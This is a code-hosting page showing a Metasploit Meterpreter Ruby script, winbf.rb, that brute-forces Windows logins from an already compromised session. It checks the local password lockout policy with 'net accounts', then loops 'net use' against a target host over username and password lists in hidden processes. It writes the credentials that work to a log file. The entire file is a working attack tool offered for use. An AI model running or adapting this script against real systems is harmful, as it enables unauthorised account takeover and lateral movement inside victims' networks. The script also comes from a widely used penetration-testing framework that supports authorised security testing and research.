CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/scripts/meterpreter/winbf.rb
Views: 1904
1
##
2
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
3
# If you'd like to improve this script, please try to port it as a post
4
# module instead. Thank you.
5
##
6
7
8
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
9
#-------------------------------------------------------------------------------
10
################## Variable Declarations ##################
11
@@exec_opts = Rex::Parser::Arguments.new(
12
"-h" => [ false, "\tHelp menu."],
13
"-t" => [ true, "\tTarget IP Address"],
14
"-p" => [ true, "\tPassword List"],
15
"-c" => [ false, "\tCheck Local Machine Password Policy"],
16
"-L" => [ true, "\tUsername List to be brute forced"],
17
"-l" => [ true, "\tLogin name to be brute forced"]
18
)
19
# Variables for Options
20
user = []
21
ulopt = nil
22
userlist = nil
23
passlist = nil
24
target = nil
25
helpcall = 0
26
27
# The 'client' object holds the Meterpreter session
28
# Aliasing here for plugin compatibility
29
session = client
30
31
################## Function Definition ##################
32
# Function for checking the password policy of current system.
33
# This policy may resemble the policy of other servers in the
34
#target environment.
35
def chkpolicy(session)
36
print_status("Checking password policy...")
37
output = []
38
begin
39
r = session.sys.process.execute("net accounts", nil, {'Hidden' => true, 'Channelized' => true})
40
while(d = r.channel.read)
41
output << d
42
end
43
r.channel.close
44
r.close
45
# Parsing output of net accounts
46
lockout = output.to_s.scan(/Lockout\sthreshold:\s*(\d*)/)
47
minpass = output.to_s.scan(/Minimum\spassword\slength:\s*(\d*)/)
48
failcount = output.to_s.scan(/Lockout\sobservation\swindow\s\(minutes\)\:\s*(\d*)/)
49
lcktime = output.to_s.scan(/Lockout\sduration\s\(minutes\)\:\s*(\d*)/)
50
# check for account lockout
51
if lockout.empty?
52
print_status "\tNo account lockout threshold configured"
53
else
54
print_status "\tWARNING Lockout threshold configured, if #{lockout} attempts in #{failcount} minutes account will be locked"
55
print_status "\tThe account will be locked out for #{lcktime}"
56
end
57
# check for password length
58
if minpass.to_s == "0"
59
print_status "\tNo minimum password length is configured"
60
else
61
print_status "\tThe minimum password length configured is #{minpass}"
62
print_status "\tyour dictionary should start with passwords of #{minpass} length"
63
end
64
rescue ::Exception => e
65
print_status("The following Error was encountered: #{e.class} #{e}")
66
end
67
end
68
#--------------------------------------------------------
69
70
# Function for brute forcing passwords using windows native tools
71
def passbf(session,passlist,target,user,opt,logfile)
72
print_status("Running Brute force attack against #{user}")
73
print_status("Successful Username and Password pairs are being saved in #{logfile}")
74
result = []
75
output = []
76
passfnd = 0
77
a = []
78
i = 0
79
if opt == 1
80
if not ::File.exist?(user)
81
raise "Usernames List File does not exist!"
82
else
83
user = ::File.open(user, "r")
84
end
85
end
86
# Go thru each user
87
user.each do |u|
88
# Go thru each line in the password file
89
while passfnd < 1
90
::File.open(passlist, "r").each_line do |line|
91
begin
92
print_status("Trying #{u.chomp} #{line.chomp}")
93
94
# Command for testing local login credentials
95
r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true})
96
while(d = r.channel.read)
97
output << d
98
end
99
r.channel.close
100
r.close
101
102
# Checks if password is found
103
result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/)
104
if result.length == 1
105
print_status("\tUser: #{u.chomp} pass: #{line.chomp} found")
106
file_local_write(logfile,"User: #{u.chomp} pass: #{line.chomp}")
107
r = session.sys.process.execute("cmd /c net use \\\\#{target} /delete", nil, {'Hidden' => true, 'Channelized' => true})
108
while(d = r.channel.read)
109
output << d
110
end
111
output.clear
112
r.channel.close
113
r.close
114
passfnd = 1
115
break
116
end
117
rescue ::Exception => e
118
print_status("The following Error was encountered: #{e.class} #{e}")
119
end
120
121
end
122
passfnd = 1
123
end
124
passfnd = 0
125
end
126
end
127
128
#--------------------------------------------------------
129
# Function for creating log file
130
def logme(target)
131
132
# Create Filename info to be appended to files
133
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
134
135
# Create a directory for the logs
136
logs = ::File.join(Msf::Config.log_directory,'scripts', 'winbf')
137
138
# Create the log directory
139
::FileUtils.mkdir_p(logs)
140
141
#logfile name
142
dest = logs + "/" + target + filenameinfo
143
144
dest
145
end
146
#--------------------------------------------------------
147
#
148
##check for proper Meterpreter Platform
149
def unsupported
150
print_error("This version of Meterpreter is not supported with this Script!")
151
raise Rex::Script::Completed
152
end
153
unsupported if client.platform != 'windows'
154
155
################## MAIN ##################
156
157
# Parsing of Options
158
@@exec_opts.parse(args) { |opt, idx, val|
159
case opt
160
when "-l"
161
user << val
162
ulopt = 0
163
when "-L"
164
userlist = val
165
ulopt = 1
166
167
when "-c"
168
chkpolicy(session)
169
exit
170
when "-p"
171
172
passlist = val
173
if not ::File.exist?(passlist)
174
raise "Password File does not exist!"
175
end
176
when "-t"
177
target = val
178
when "-h"
179
print("Windows Login Brute Force Meterpreter Script\n" +
180
"Usage:\n" +
181
@@exec_opts.usage)
182
helpcall = 1
183
end
184
185
}
186
187
# Execution of options selected
188
if user.length > 0 && passlist != nil && target != nil
189
190
passbf(session,passlist,target,user,ulopt,logme(target))
191
192
elsif userlist != nil && passlist != nil && target != nil
193
194
passbf(session,passlist,target,userlist,ulopt,logme(target))
195
196
elsif helpcall == 0
197
print("Windows Login Brute Force Meterpreter Script\n" +
198
"Usage:\n" +
199
@@exec_opts.usage)
200
201
end
202
203
204